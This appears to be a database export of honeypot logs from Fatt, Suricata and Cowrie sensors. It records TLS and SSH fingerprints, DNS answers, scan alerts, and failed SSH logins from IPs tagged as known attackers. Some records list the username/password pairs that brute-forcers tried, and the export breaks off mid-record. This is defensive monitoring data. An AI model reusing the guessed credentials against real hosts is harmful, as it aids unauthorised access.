29697	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:28:51.320007+03	2021-09-20 14:30:04.465555+03	{"_id": "mQb3AnwBvYTbRNuERTdZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35262, "dest_port": 443, "timestamp": "2021-09-20T11:28:51.320007", "@timestamp": "2021-09-20T11:28:51.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29704	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:28:51.36007+03	2021-09-20 14:30:04.473557+03	{"_id": "mAb3AnwBvYTbRNuERTdZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35262, "timestamp": "2021-09-20T11:28:51.360070", "@timestamp": "2021-09-20T11:28:51.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29698	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:28:49.72182+03	2021-09-20 14:30:04.466553+03	{"_id": "jgb3AnwBvYTbRNuEQDdH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 65012, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 917, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 24064440794773, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 57919, "timestamp": "2021-09-20T11:28:49.721820Z", "@timestamp": "2021-09-20T11:28:49.721Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29699	150.109.115.128	109.199.241.180	Suricata	2021-09-20 14:28:49.989874+03	2021-09-20 14:30:04.467555+03	{"_id": "kAb3AnwBvYTbRNuEQDdH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "flow_id": 2228445668024229, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55956, "dest_port": 22, "timestamp": "2021-09-20T11:28:49.989874Z", "@timestamp": "2021-09-20T11:28:49.989Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29700	150.109.115.128	109.199.241.180	Suricata	2021-09-20 14:28:49.997222+03	2021-09-20 14:30:04.469525+03	{"_id": "jQb3AnwBvYTbRNuEQDdH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:28:49.565157+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2228445668024229, "payload": "AAADzAYU+Bd2Z/ny74NH8brCn5CNNwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55956, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:28:49.997222Z", "@timestamp": "2021-09-20T11:28:49.997Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........vg....G......7...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29701	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:28:49.775543+03	2021-09-20 14:30:04.470554+03	{"_id": "kQb3AnwBvYTbRNuEQTdv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35260, "dest_port": 443, "timestamp": "2021-09-20T11:28:49.775543", "@timestamp": "2021-09-20T11:28:49.775Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29702	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:28:49.819595+03	2021-09-20 14:30:04.471554+03	{"_id": "kgb3AnwBvYTbRNuEQTdv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35260, "timestamp": "2021-09-20T11:28:49.819595", "@timestamp": "2021-09-20T11:28:49.819Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29703	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:28:51.26956+03	2021-09-20 14:30:04.472554+03	{"_id": "lgb3AnwBvYTbRNuERDcw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 19772, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 915, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 375470075091202, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 35129, "timestamp": "2021-09-20T11:28:51.269560Z", "@timestamp": "2021-09-20T11:28:51.269Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29706	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:28:55.72511+03	2021-09-20 14:30:04.476553+03	{"_id": "oQb3AnwBvYTbRNuEVDf7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56536, "timestamp": "2021-09-20T11:28:55.725110", "@timestamp": "2021-09-20T11:28:55.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29707	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:28:55.460244+03	2021-09-20 14:30:04.477553+03	{"_id": "qAb3AnwBvYTbRNuEVjcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "eba5869eaab3", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:28:55.460244Z", "@timestamp": "2021-09-20T11:28:55.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29708	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:28:55.455046+03	2021-09-20 14:30:04.478553+03	{"_id": "qQb3AnwBvYTbRNuEVjcL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:56536 (192.168.176.2:22) [session: eba5869eaab3]", "session": "eba5869eaab3", "@version": "1", "protocol": "ssh", "src_port": 56536, "dest_port": 22, "timestamp": "2021-09-20T11:28:55.455046Z", "@timestamp": "2021-09-20T11:28:55.455Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29709	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:28:55.727064+03	2021-09-20 14:30:04.479553+03	{"_id": "qgb3AnwBvYTbRNuEVjcL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "eba5869eaab3", "@version": "1", "timestamp": "2021-09-20T11:28:55.727064Z", "@timestamp": "2021-09-20T11:28:55.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29710	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:28:55.724992+03	2021-09-20 14:30:04.481523+03	{"_id": "rAb3AnwBvYTbRNuEVze7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 398982873860991, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56536, "dest_port": 22, "timestamp": "2021-09-20T11:28:55.724992Z", "@timestamp": "2021-09-20T11:28:55.724Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29711	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:28:56.867652+03	2021-09-20 14:30:04.482525+03	{"_id": "rQb3AnwBvYTbRNuEWTfz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [user1/1qazxsw2] failed", "session": "eba5869eaab3", "@version": "1", "password": "1qazxsw2", "username": "user1", "timestamp": "2021-09-20T11:28:56.867652Z", "@timestamp": "2021-09-20T11:28:56.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29712	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:28:22.379583+03	2021-09-20 14:30:04.484554+03	{"_id": "Xgb2AnwBvYTbRNuE1TcU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [yq/yq@123] failed", "session": "9613363c6a74", "@version": "1", "password": "yq@123", "username": "yq", "timestamp": "2021-09-20T11:28:22.379583Z", "@timestamp": "2021-09-20T11:28:22.379Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29713	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:28:23.663602+03	2021-09-20 14:30:04.485553+03	{"_id": "YAb2AnwBvYTbRNuE2Df9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9613363c6a74", "@version": "1", "duration": 2.7831804752349854, "timestamp": "2021-09-20T11:28:23.663602Z", "@timestamp": "2021-09-20T11:28:23.663Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29714	182.107.171.87	109.199.241.180	Suricata	2021-09-20 14:28:26.179552+03	2021-09-20 14:30:04.486553+03	{"_id": "Ygb2AnwBvYTbRNuE4jd_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:28:26.179552+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 3, "action": "allowed", "category": "Potentially Bad Traffic", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2018_03_27"], "former_category": ["HUNTING"]}, "severity": 2, "signature": "ET SCAN Suspicious inbound to mySQL port 3306", "signature_id": 2010937}, "geoip": {"ip": "182.107.171.87", "asn": 4134, "as_org": "Chinanet", "latitude": 28.55, "location": {"lat": 28.55, "lon": 115.9333}, "timezone": "Asia/Shanghai", "longitude": 115.9333, "region_code": "JX", "region_name": "Jiangxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "182.107.171.87", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 959826143919456, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 7636, "dest_port": 3306, "timestamp": "2021-09-20T11:28:26.179552Z", "@timestamp": "2021-09-20T11:28:26.179Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", 